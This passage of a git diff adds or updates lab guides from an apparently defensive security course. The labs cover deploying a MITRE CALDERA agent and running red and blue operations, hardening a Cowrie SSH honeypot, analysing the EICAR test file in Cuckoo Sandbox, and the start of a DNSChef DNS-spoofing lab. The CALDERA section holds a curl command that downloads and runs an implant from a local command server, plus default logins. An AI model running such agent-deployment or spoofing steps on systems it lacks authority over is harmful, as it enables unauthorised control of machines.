[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + + diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Caldera.md b/IntroClassFiles/Tools/IntroClass/ADHD/Caldera.md new file mode 100644 index 00000000..a02aa5e4 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Caldera.md @@ -0,0 +1,250 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# MITRE CALDERA + +This lab is designed to be **fully hands-on**, beginner-friendly, and runnable on **one Ubuntu Linux VM** (or any Linux host) + +You will install **MITRE CALDERA**, deploy a **Sandcat agent**, run a small **attack operation**, run a simple **defense operation**, and finish with a **cyber deception demo** using a “honeyfile” + alert + +--- + +## In this lab we will + +- Log in and verify CALDERA is working +- Deploy a **Sandcat** agent (on the same machine) +- Run an **Adversary (red)** operation: basic discovery + collection +- Run a **Defender (blue)** operation: basic response actions +- Do a **Cyber Deception** mini-demo: + - Create a **honeyfile** with fake “secrets” + - Set a simple **file access alert** + - Use CALDERA to “touch” the honeyfile and observe the alert + +--- + +## Start the server + +On the first boot, use `--build` to build the web UI and plugin assets + +```bash +cd ~/ADCD/caldera/ +``` + +```bash +source venv/bin/activate +``` + +```bash +python3 server.py --insecure --build +``` + +- Leave this terminal running. +- You should see log output showing the server is listening. + +## Log in to the web UI + +Open a browser on the VM (or forward port 8888 via SSH) and go to: + +- `http://localhost:8888` + +Log in as: +- Username: `red` +- Password: `admin` + +--- + +# Part 2 - Deploy a Sandcat agent + +The **Sandcat plugin** is CALDERA’s default agent. It can be deployed using the server’s built-in delivery commands or by downloading it from CALDERA + +## 1) Download and run the agent + +In a new terminal: + +```bash +server="http://localhost:8888" +``` + +```bash +curl -s -X POST -H "file:sandcat.go" -H "platform:linux" "$server/file/download" > sandcat +``` + +```bash +chmod +x sandcat +``` + +```bash +./sandcat -server "$server" -group red -v +``` + +You should see the agent running and “beaconing” (calling back to CALDERA) + + +2026-03-16_12-26 + +## 2) Confirm the agent shows up in the UI + +In the CALDERA web UI: +- Go to **Agents** +- You should see a new agent appear (often “trusted” within a minute) + +image + + +If it doesn’t show: +- Make sure `python3 server.py ...` is still running +- Make sure you used `server="http://localhost:8888"` (same as your UI URL) + +--- + +# Part 3 - Run a simple ATT&CK operation (Red / Attack) + +CALDERA’s **Stockpile** plugin contains lots of built-in abilities and adversary profiles + +We’ll run a simple “Discovery/Collection” style operation + +## 1) Pick an adversary profile (easy starter) + +In the UI: + +- Click on the **"Mountain"** on the top left to get back to the **Start Page** + +image + +- Go to **Adversaries** and click `Manage Adversaries` + +image + +- Choose one of the built-in “discovery/collection” style adversaries (names vary by version), but for this lab we will use the **Discovery** one, select it + +image + +## 2) Start an operation + +In the UI: + +- Click on the **"Mountain"** on the top left to get back to the **Start Page** + +image + +- Go to **Operations** and click `Manage Operations` + +image + +- Click **New operation** + +image + +- Set: + - **Operation Name** `Caldera Lab` + - **Group:** `red` + - **Adversary:** `Discovery` + +image + +Start the operation by clicking **Start** + +## 3) Watch it run + +Click the operation and watch the **links** appear: +- Each link is an executed step (like “whoami”, “hostname”, “find files”, etc) +- Click a link to see: + - the command sent + - the output returned + +image + + +--- + +# Part 4 - Run a simple Defense operation + +CALDERA can also run **defensive actions** + +The idea: you can push response actions to endpoints the same way you push adversary actions + +## 1) Create a “blue” agent (quick way) + +- In the **UI**, press the **Square** under **Running** to stop the operation + +image + +- Then go to your **Agent Terminal** + +- Stop the running agent (**CTRL+C**) and re-run it as group `blue`: + +```bash +./sandcat -server "http://localhost:8888" -group blue -v +``` + +Now in the UI: + +- Now look at the left tab of actions, scroll down until you see the **Log out** button, click it + +image + +Log in as: +- Username: `blue` +- Password: `admin` + +- Go to **Agents** + +image + +- You should see an agent in group **blue** + +## 2) Run a basic defender profile + +In the UI: +- Go to **Adversaries** and click `Manage Adversaries` + +image + +- Pick `Incident responder` + +- Click on the **"Mountain"** on the top left to get back to the **Start Page** + +image + +- Go to **Operations** and click `Manage Operations` + +image + +- Click **New operation** + +image + +- Create a new operation: + - **Operation Name:** `CalderaBlueLab` + - **Group:** `blue` + - **Adversary:** `Incident responder` + - **Autonomous** `Require manual approval` - we use this to have more control and see in real time everything that happens + +image + +- Start it! + +- Now, for every command, we need to approve it + +image + +
+ +image + +- From here on, you can play with it however you like, EXPERIMENT!!! + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/FileAudit.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/Cowrie.md b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/Cowrie.md similarity index 59% rename from IntroClassFiles/Tools/IntroClass/Cowrie.md rename to IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/Cowrie.md index 67c0841e..878dfddd 100644 --- a/IntroClassFiles/Tools/IntroClass/Cowrie.md +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/Cowrie.md @@ -1,326 +1,377 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) - -Cowrie -============ - -Website -------- - - - -Description ------------ - -Cowrie is a medium interaction SSH honeypot designed to log brute force attacks and, -most importantly, the entire shell interaction performed by the attacker. - -Cowrie is developed by Michel Oosterhof and is based on Kippo by Upi Tamminen (desaster). - -The first thing we need to do is install/start cowrie. - -Open a Kali prompt: - -![image](https://github.com/user-attachments/assets/1174968b-9c56-485e-8563-054aca72cf60) - -Then become root: - -`sudo su -` - -![image](https://github.com/user-attachments/assets/e0d1da47-9291-40e5-aded-7d0e1deabb75) - -Getting cowrie running is really easy if you have docker installed on your system. - -All you need to do is run the following: - -`docker run -p 2222:2222 cowrie/cowrie` - -This will take a few moments. - -When it is running you should be able to see the logs like this: - -![image](https://github.com/user-attachments/assets/ba63568c-d813-4a84-be63-8462f7683aea) - -Now, open another Kali terminal while keeping the first terminal open with the logs open as well: - -![image](https://github.com/user-attachments/assets/1174968b-9c56-485e-8563-054aca72cf60) - -Let’s delete any other previous ssh known_hosts connections to the honeypot. - -This helps reduce any errors from starting and restarting the honeypot. - -You should run this command in the /home/kali directory. - -`rm .ssh/known_hosts` - -![image](https://github.com/user-attachments/assets/a103057f-0f1c-47b5-8e7d-ec8eabadbe53) - - -*The above command is critical because the key fingerprint for Cowrie changes every time you restart it!* - -Then, try to connect to the honeypot with the following command: - -`ssh -p 2222 root@localhost` - -When you get prompted to accept the key fingerprint, type `yes`: - -![image](https://github.com/user-attachments/assets/f1a218b7-55ba-475a-9ff2-bf8ea99f372d) - -For the password, try `12345`: - -![image](https://github.com/user-attachments/assets/2044c147-0a09-46bb-b159-9110cd4fa3fa) - -Now, run the following commands: - -`id` - -`whoami` - -`pwd` - -`AAAAAAAAAAAAAAAAAAAAAAAAAA` - -Notice, the commands and authentication are being tracked in the other terminal with the log info: - -![image](https://github.com/user-attachments/assets/33e3cd1c-28a1-4a4c-874e-b9b600e41be8) - -Take a few moments and note the results are always the same. As in, they are the same for all Cowrie instances. - -Let's change a few things about our Cowrie honeypot to make it unique. - -Did you notice the system name in the prompt? - -![image](https://github.com/user-attachments/assets/b3e7d546-1328-42e1-a7a7-db0f094e64aa) - -It is the same for all default instalations. Let's change that. - -Let’s kill our Cowrie session. - -To do this, click into the Terminal with our log output and press ctrl+c at the same time. - -![image](https://github.com/user-attachments/assets/deea16c1-cc94-459e-a2ac-d94d7663f88f) - -As we said above, one of the ways that people have been detecting honeypots like Cowrie for years is looking at the key fingerprint and the hostname. - -Because the key fingerprint changes every time you restart Cowrie, we need to next focus on changing the hostname. To do this we need to change the following file as root on our Kali system: - -/var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/etc/cowrie.cfg.dist - -Ok, that path is just horrid. The long number is a unique idea for our Cowrie system. Apparently, Docker Reaaaaalllly did not collisions. The overlay2 denotes this a a writeable layer for our container. - -Basically, this means we can edit our Docker container system in this directory. - -Let's edit this file. - -As root, run the following: - -`vim /var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/etc/cowrie.cfg.dist` - - -![image](https://github.com/user-attachments/assets/a87a5e25-a731-4567-ae46-38a340aad32a) - -Copy and paste are your friends. - -Once in the file, use the down arrow and go to roughly line 30 and change the hostname - -![image](https://github.com/user-attachments/assets/36c901de-1a3e-45b1-b24c-3c07666884c5) - -To do this in vim, press `a` then make the change. - -![image](https://github.com/user-attachments/assets/d3d7a3d4-99e6-48cd-ad07-c20489974802) - -When done, hit the following keys in the following order - -`esc` - -`:` - -`wq!` - -`return` - - -Now, let's restart and connect: - -`docker run -p 2222:2222 cowrie/cowrie` - -![image](https://github.com/user-attachments/assets/9390fd7a-7468-44ef-aa70-d52160c6d005) - -Then, in another Kali terminal connect with a password of 12345: - -`rm .ssh/known_hosts` - -`ssh -p 2222 root@localhost` - -Then type `yes` on the key fingerprint verification. - -![image](https://github.com/user-attachments/assets/485efdb7-7cf9-4ee5-a59a-fc0375db817c) - -Your hostname should now be changed. - - -Now, let’s edit the Message of the Day (MOTD). Because the default one is not fun at all. - - -`vim /var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/honeyfs/etc/motd` - -![image](https://github.com/user-attachments/assets/e60c8de7-1026-4507-9e03-fb0718799a4f) - -Change it to something better! - -![image](https://github.com/user-attachments/assets/a99a4447-c2a7-4eb5-bb6c-0bf2861abf8e) - -When done, hit the following keys in the following order - -`esc` - -`:` - -`wq!` - -`return` - -Now, let's restart and connect: - -`docker run -p 2222:2222 cowrie/cowrie` - -![image](https://github.com/user-attachments/assets/9390fd7a-7468-44ef-aa70-d52160c6d005) - -Then, in another Kali terminal connect with a password of 12345: - -`rm .ssh/known_hosts` - -`ssh -p 2222 root@localhost` - -Then type `yes` on the key fingerprint verification. - -![image](https://github.com/user-attachments/assets/485efdb7-7cf9-4ee5-a59a-fc0375db817c) - -![image](https://github.com/user-attachments/assets/1a8b732b-2a04-413e-8039-dd7d04ac6360) - - -There! - -That is much better! - -There is far more than we can change in this short lab. - -For a great resource on changing the way Cowrie looks and feels, check out the following site: - -https://cryptax.medium.com/customizing-your-cowrie-honeypot-8542c888ca49 - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - - - +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Cowrie + +# Ubuntu VM + +Website +------- + + + +Description +----------- + +Cowrie is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. + +>[!TIP] +> +>Cowrie is developed by Michel Oosterhof and is based on Kippo by Upi Tamminen (desaster). + +The first thing we need to do is instal and start Cowrie. + +To begin, let's open a terminal. + +Then become root by running the following command: + +```bash +sudo su - +``` + +Getting Cowrie running is really easy if you have docker installed on your system. + +All you need to do is run the following: + +```bash +docker run -p 2222:2222 cowrie/cowrie +``` + +This will take a few moments. + +You will see an output like this: + +2026-03-07_11-56 + + +Once you see **"Ready to accept SSH connections"** in the command output, you are ready to continue. + +Open another terminal while keeping the first terminal open with the logs open as well. + +GetUbuntuTerminalFromUbuntuVM + +We need to delete any other previous `ssh known_hosts` connections to the honeypot. + +This helps reduce any errors from starting and restarting the honeypot. + +```bash +rm ~/.ssh/known_hosts +``` + +>[!IMPORTANT] +>You mgiht not even have any `known_hosts` file, but: +> +>The above command is critical because the key fingerprint for Cowrie changes every time you restart it! + +Then, try to connect to the honeypot with the following command: + +```bash +ssh -p 2222 root@localhost +``` + +When you get prompted to accept the key fingerprint, type `yes`: + +2026-03-07_11-59 + +For the password, try `12345`: + +2026-03-07_12-01 + +Now, run the following commands: + +`id` + +`whoami` + +`pwd` + +`AAAAAAAAAAAAAAAAAAAAAAAAAA` + +2026-03-07_12-05 + + +Notice, the commands and authentication are being tracked in the other terminal with the log info: + +2026-03-07_12-04 + + +Take a few moments and notice that the results are always the same... for all Cowrie instances. + +Let's change a few things about our Cowrie honeypot to make it unique. + +Did you notice the system name in the prompt? + +2026-03-07_12-06 + + +It is the same for all default installations. Let's change that. + +First, we need to kill our Cowrie session. + +To do this, click into the first terminal with our log output and press `ctrl + c` at the same time. + +2026-03-07_12-08 + +>[!TIP] +> +>If done correctly, you should see **"Server Shut Down"** + +As we said above, one of the ways that people have been detecting honeypots like Cowrie for years is looking at the key fingerprint and the hostname. + +Because the key fingerprint changes every time you restart Cowrie, we need to next focus on changing the hostname. + +To do this we need to change the following file as root on our linux system: + +
/var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/etc/cowrie.cfg.dist
+ +>[!NOTE] +> +>This is not a command, just the directory of the file we will be changing. + +Ok, that path is just horrid. The long number is a unique ID for our Cowrie system. Apparently, Docker reaaaaalllly does not like collisions. + +However, `overlay2` denotes this a a writeable layer for our container. Basically, this means we can edit our Docker container system within this directory. + +So let's edit this file using `vim`. + +As root, run the following: + +```bash +vim /var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/etc/cowrie.cfg.dist +``` + +![](/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/vimfileedit.png) + +>[!TIP] +> +>Copy and paste are your friends! + +Once in the file, use the down arrow and go to roughly line 30 and change the hostname + +![image](https://github.com/user-attachments/assets/36c901de-1a3e-45b1-b24c-3c07666884c5) + +To do this in vim, press `a` then make the change. + +![image](https://github.com/user-attachments/assets/d3d7a3d4-99e6-48cd-ad07-c20489974802) + +When done, hit the following keys in the following order + +`esc` + +`:` + +`wq!` + +`return` + + +Now, let's restart and connect: + +```bash +docker run -p 2222:2222 cowrie/cowrie +``` + +![image](https://github.com/user-attachments/assets/9390fd7a-7468-44ef-aa70-d52160c6d005) + +Then, in another terminal connect with a password of 12345: + +```bash +rm ~/.ssh/known_hosts +``` + +```bash +ssh -p 2222 root@localhost +``` + +Then type `yes` on the key fingerprint verification. + +![image](https://github.com/user-attachments/assets/485efdb7-7cf9-4ee5-a59a-fc0375db817c) + +Your hostname should now be changed. + + +Now, let’s edit the Message of the Day (MOTD). Because the default one is not fun at all. + +```bash +vim /var/lib/docker/overlay2/49cb1d1569dac74ee9793c9efb526ae1ba35b8e4a31b14a1a1c8c30bc70dc953/diff/cowrie/cowrie-git/honeyfs/etc/motd +``` + +![image](https://github.com/user-attachments/assets/e60c8de7-1026-4507-9e03-fb0718799a4f) + +Change it to something better! + +![image](https://github.com/user-attachments/assets/a99a4447-c2a7-4eb5-bb6c-0bf2861abf8e) + +When done, hit the following keys in the following order + +`esc` + +`:` + +`wq!` + +`return` + +Now, let's restart and connect: + +```bash +docker run -p 2222:2222 cowrie/cowrie +``` + +![image](https://github.com/user-attachments/assets/9390fd7a-7468-44ef-aa70-d52160c6d005) + +Then, in another terminal connect with a password of 12345: + +```bash +rm ~/.ssh/known_hosts +``` + +```bash +ssh -p 2222 root@localhost +``` + +Then type `yes` on the key fingerprint verification. + +![image](https://github.com/user-attachments/assets/485efdb7-7cf9-4ee5-a59a-fc0375db817c) + +![image](https://github.com/user-attachments/assets/1a8b732b-2a04-413e-8039-dd7d04ac6360) + + +There! + +That is much better! + +There is far more than we can change in this short lab. + +For a great resource on changing the way Cowrie looks and feels, check out the following site: + +https://cryptax.medium.com/customizing-your-cowrie-honeypot-8542c888ca49 + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Portspoof/Portspoof.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/Spidertrap.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/OpeningKaliInstance.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/OpeningKaliInstance.png new file mode 100644 index 00000000..128fe9d7 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/OpeningKaliInstance.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/TaskbarKaliIcon.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/TaskbarKaliIcon.png new file mode 100644 index 00000000..c8d6bd97 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/TaskbarKaliIcon.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/dockercowriecommand.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/dockercowriecommand.png new file mode 100644 index 00000000..b1cff625 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/dockercowriecommand.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/enterpassword.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/enterpassword.png new file mode 100644 index 00000000..f95ad8fe Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/enterpassword.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/gettingroot.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/gettingroot.png new file mode 100644 index 00000000..0913d1f2 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/gettingroot.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/reflection.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/reflection.png new file mode 100644 index 00000000..527a9318 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/reflection.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rmsshhosts.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rmsshhosts.png new file mode 100644 index 00000000..918907da Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rmsshhosts.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rootlocalhost.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rootlocalhost.png new file mode 100644 index 00000000..3fb64eba Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/rootlocalhost.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/runningprocessdocker.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/runningprocessdocker.png new file mode 100644 index 00000000..4e569be7 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/runningprocessdocker.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/servershutdown.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/servershutdown.png new file mode 100644 index 00000000..20aaa16a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/servershutdown.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/systemname.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/systemname.png new file mode 100644 index 00000000..9494cc79 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/systemname.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/terminalcommands.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/terminalcommands.png new file mode 100644 index 00000000..cf0a76f2 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/terminalcommands.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/vimfileedit.png b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/vimfileedit.png new file mode 100644 index 00000000..6c0b8179 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/attachments/vimfileedit.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/CuckooSandbox.md b/IntroClassFiles/Tools/IntroClass/ADHD/CuckooSandbox.md new file mode 100644 index 00000000..754a464f --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/CuckooSandbox.md @@ -0,0 +1,374 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + + + + + +# Cuckoo Sandbox + +> **Goal:** See how Cuckoo Sandbox automatically analyzes suspicious files in an isolated Windows VM, and how an analyst can read the results. + +--- + +### In this lab we will + +- Install and initialize Cuckoo Sandbox +- Start the Cuckoo daemon and web interface +- Submit a suspicious file for analysis +- Explore the generated report (process tree, files, registry, network, signatures) +- Watch the live Cuckoo logs while an analysis runs + +--- + +## 1. Create a dedicated `cuckoo` user (host hygiene) + +We don’t want to run malware analysis as root or as your daily user. + +Open a terminal and run: + +```bash +sudo adduser cuckoo +``` + +- Follow the prompts (you can press **Enter** through most fields) +- Add the new user to the `vboxusers` group so it can control VirtualBox: + +```bash +sudo usermod -aG vboxusers cuckoo +``` + +Now switch to that user for the rest of the lab: + +```bash +su - cuckoo +``` + +You should now see a prompt like: + +```bash +cuckoo@kali:~$ +``` + +--- + +## 2. Install Cuckoo Sandbox and basic tools + +Still as user `cuckoo` (but using `sudo` when needed), install Cuckoo from the distro repository: + +```bash +sudo apt update +sudo apt install -y cuckoo +``` + +Install a few useful extras (optional but nice to have): + +```bash +sudo apt install -y volatility yara ssdeep mongodb +``` + +Quick check that Cuckoo is available: + +```bash +cuckoo --version +``` + +You should see a version string, not a “command not found” error. + +--- + +## 3. Initialize Cuckoo’s working directory + +On first run, Cuckoo will create its **Cuckoo Working Directory (CWD)** under `~/.cuckoo` with config files, logs, and results. + +Run: + +```bash +cuckoo +``` + +You should see output saying it’s your first run and that it created configuration under `~/.cuckoo`. +Press **Ctrl + C** once it finishes initializing (if it doesn’t exit automatically). + +Let’s also pull in community signatures (for more interesting reports): + +```bash +cuckoo community +``` + +This may take a bit while it downloads rules/signatures. + +--- + +## 4. Start Cuckoo daemon and web interface + +We want two terminals: + +### 4.1. Terminal 1 – Cuckoo daemon (backend) + +Make sure you are `cuckoo` user in your home directory, then run: + +```bash +cuckoo -d +``` + +- `-d` = debug mode (more verbose logs) +- Leave this terminal **running**. Cuckoo will start workers and wait for submissions. + +### 4.2. Terminal 2 – Cuckoo web interface + +Open a **second terminal** (also as user `cuckoo`) and run: + +```bash +cuckoo web runserver 127.0.0.1:8000 +``` + +Again, leave this running. This is the web UI. + +### 4.3. Verify access in the browser + +Inside your Linux VM, open a browser (e.g. Firefox) and go to: + +```text +http://127.0.0.1:8000 +``` + +You should see the **Cuckoo web dashboard**. + +If it loads, your analysis environment is up. + +--- + +## 5. Prepare a test “malicious” file + +For a safe demo we’ll use the **EICAR test file**, which is harmless but recognized by many tools as a test virus. + +In a third terminal (still as `cuckoo`), create a directory for samples: + +```bash +mkdir -p ~/samples +cd ~/samples +``` + +Download the EICAR test file: + +```bash +curl -o eicar.com.txt https://secure.eicar.org/eicar.com.txt +``` + +List the file to be sure it’s there: + +```bash +ls -l +``` + +You should see `eicar.com.txt`. + +> **Note:** Some AV inside the Windows VM may try to delete this file. That’s fine; it’s part of the fun. + +--- + +## 6. Submit a sample from the Cuckoo web UI + +Go back to your browser on `http://127.0.0.1:8000`. + +1. Click **Submit** (or **Analyze** depending on your version). +2. In **File** upload, choose: + - `eicar.com.txt` from `/home/cuckoo/samples/` +3. Make sure: + - Machine: the default Windows VM (your instructor will tell you which name to use if there are several) + - Analysis options: leave defaults (timeout ~120s is fine) +4. Click **Submit** / **Analyze**. + +You should see a message that a task was created (for example, **Task #1**). + +### 6.1. Watch the queue + +Click on **Tasks** / **Recent** in the web UI. You should see your task moving through states: + +- `pending` → `running` → `reported` + +This may take a couple of minutes depending on your VM. + +Meanwhile, in **Terminal 1** (where `cuckoo -d` is running), you’ll see live logs: starting VM, sending sample, collecting results, etc. + +--- + +## 7. (Optional) Submit via CLI + +You can also submit samples from the command line. + +In a separate terminal as `cuckoo`: + +```bash +cuckoo submit ~/samples/eicar.com.txt +``` + +It will print the created task ID (e.g., `Task #2`). +You’ll see it appear in the web UI as well. + +--- + +## 8. Tail Cuckoo logs like an analyst + +To get the “blue team” view, we’ll watch the main log file. + +Open **another terminal** as `cuckoo` and run: + +```bash +tail -f ~/.cuckoo/log/cuckoo.log +``` + +Now, when you submit a new sample (web or CLI), you can see: + +- When Cuckoo queues the task +- When it powers on the analysis VM +- When it starts/stops the agent +- When it processes and stores the report + +Leave this running while you trigger analyses. + +--- + +## 9. Explore the analysis report + +Once your EICAR task shows as **reported** in the web UI, click its **Task ID** to open the report. + +Spend a few minutes browsing each tab. For each, think: + +- *What is this showing?* +- *How would this help an analyst or defender?* + +### 9.1. Summary + +Look at: + +- Basic info: sample name, MD5/SHA1/SHA256 +- Score (how suspicious it is) +- Quick summary of signatures fired, network activity, dropped files + +### 9.2. Behavior / Process Tree + +Look at: + +- **Process tree** (what process executed the file, what children it spawned) +- **API calls** per process (file/registry/network operations) +- Time line of actions + +Ask yourself: + +- Which process actually executed the sample? +- Did it spawn any interesting child processes (e.g., `cmd.exe`, `powershell.exe`)? + +### 9.3. Files & Registry + +Check: + +- **Dropped files**: Did the sample write new files to disk? +- **Modified registry keys**: Persistence tricks often live here. + +### 9.4. Network + +Check: + +- DNS requests +- HTTP/HTTPS connections +- IPs and ports contacted + +Ask: + +- Which domains/IPs were contacted? +- Would you block these in a real network? + +### 9.5. Signatures + +Cuckoo has built‑in and community **signatures** that look for known behaviors. + +- Find which signatures fired (e.g., “EICAR test file detected”, “Suspicious network activity”, etc.) +- Click each one and read its description + +This is where defenders get a **high-level interpretation** of the raw behavior. + +--- + +## 10. Mini “attack vs defense” exercise + +Let’s play both sides. + +### 10.1. Attacker perspective + +From the attacker’s point of view, they just: + +- Drop or email a suspicious executable +- Get someone to run it on a Windows machine + +In our lab, you “play” the attacker by **submitting the sample** into Cuckoo. + +### 10.2. Defender / analyst perspective + +From the defender’s point of view, they: + +- Receive the suspicious file (from email gateway, SOC ticket, etc.) +- Drop it into Cuckoo for **dynamic analysis** +- Read the generated report to decide: + - Is this malicious? + - What does it do (IOCs, persistence, callbacks)? + - What should we block or hunt for? + +In this lab, you are the analyst when you: + +- Watch `~/.cuckoo/log/cuckoo.log` while the sample runs +- Explore the report tabs and extract: + - Domains/IPs + - Filenames/paths + - Registry keys + - Suspicious processes / commands + +> **Task for students:** Write down at least **3 IOCs** (e.g., domain, file path, hash) from the report that you would feed into SIEM / EDR for hunting. + +--- + +## 11. Bonus: Run a benign file and compare + +To see the difference between benign and malicious behavior: + +1. Copy a random, benign Windows EXE (e.g., a small tool or viewer) into `~/samples/benign.exe`. +2. Submit it the same way (web or CLI). +3. Compare its report to the EICAR report: + - Fewer or no signatures firing + - Simpler process tree + - Less/no network activity + +This contrast helps students understand what **“normal”** vs **“suspicious”** looks like. + +--- + +## 12. Clean up + +When you’re done: + +1. Stop the web server terminal (**Ctrl + C**). +2. Stop the Cuckoo daemon terminal (**Ctrl + C**). +3. Optionally delete the sample files: + +```bash +rm -rf ~/samples +``` + + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/RITA.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/dionaea.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/DNSChef.md b/IntroClassFiles/Tools/IntroClass/ADHD/DNSChef.md new file mode 100644 index 00000000..4f2134d2 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/DNSChef.md @@ -0,0 +1,228 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# DNSChef + + +# For the Ubuntu VM + + +### In this lab we will + +- Install and run **DNSChef** (a DNS proxy / spoofing tool) +- Observe how it **logs DNS queries** +- See how it can **spoof DNS answers** for specific domains +- Use it as a **deception tool** by pointing a domain to a fake service + + +--- + +## Understand your normal DNS resolution + +- Before using **DNSChef**, see what your **DNS** looks like normally. + +### Check where DNS queries go by default + +```bash +cat /etc/resolv.conf +``` + +2026-03-17_11-27 + + +- That’s your current **DNS resolver** + +### Resolve a domain normally + +```bash +dig example.com +short +``` + +2026-03-17_11-28 + + +- Note the IP address you get +- This is the **legitimate** DNS answer from your normal resolver + +- We’ll **compare** this later with the **spoofed** result + +--- + +## Run DNSChef as a logging DNS proxy 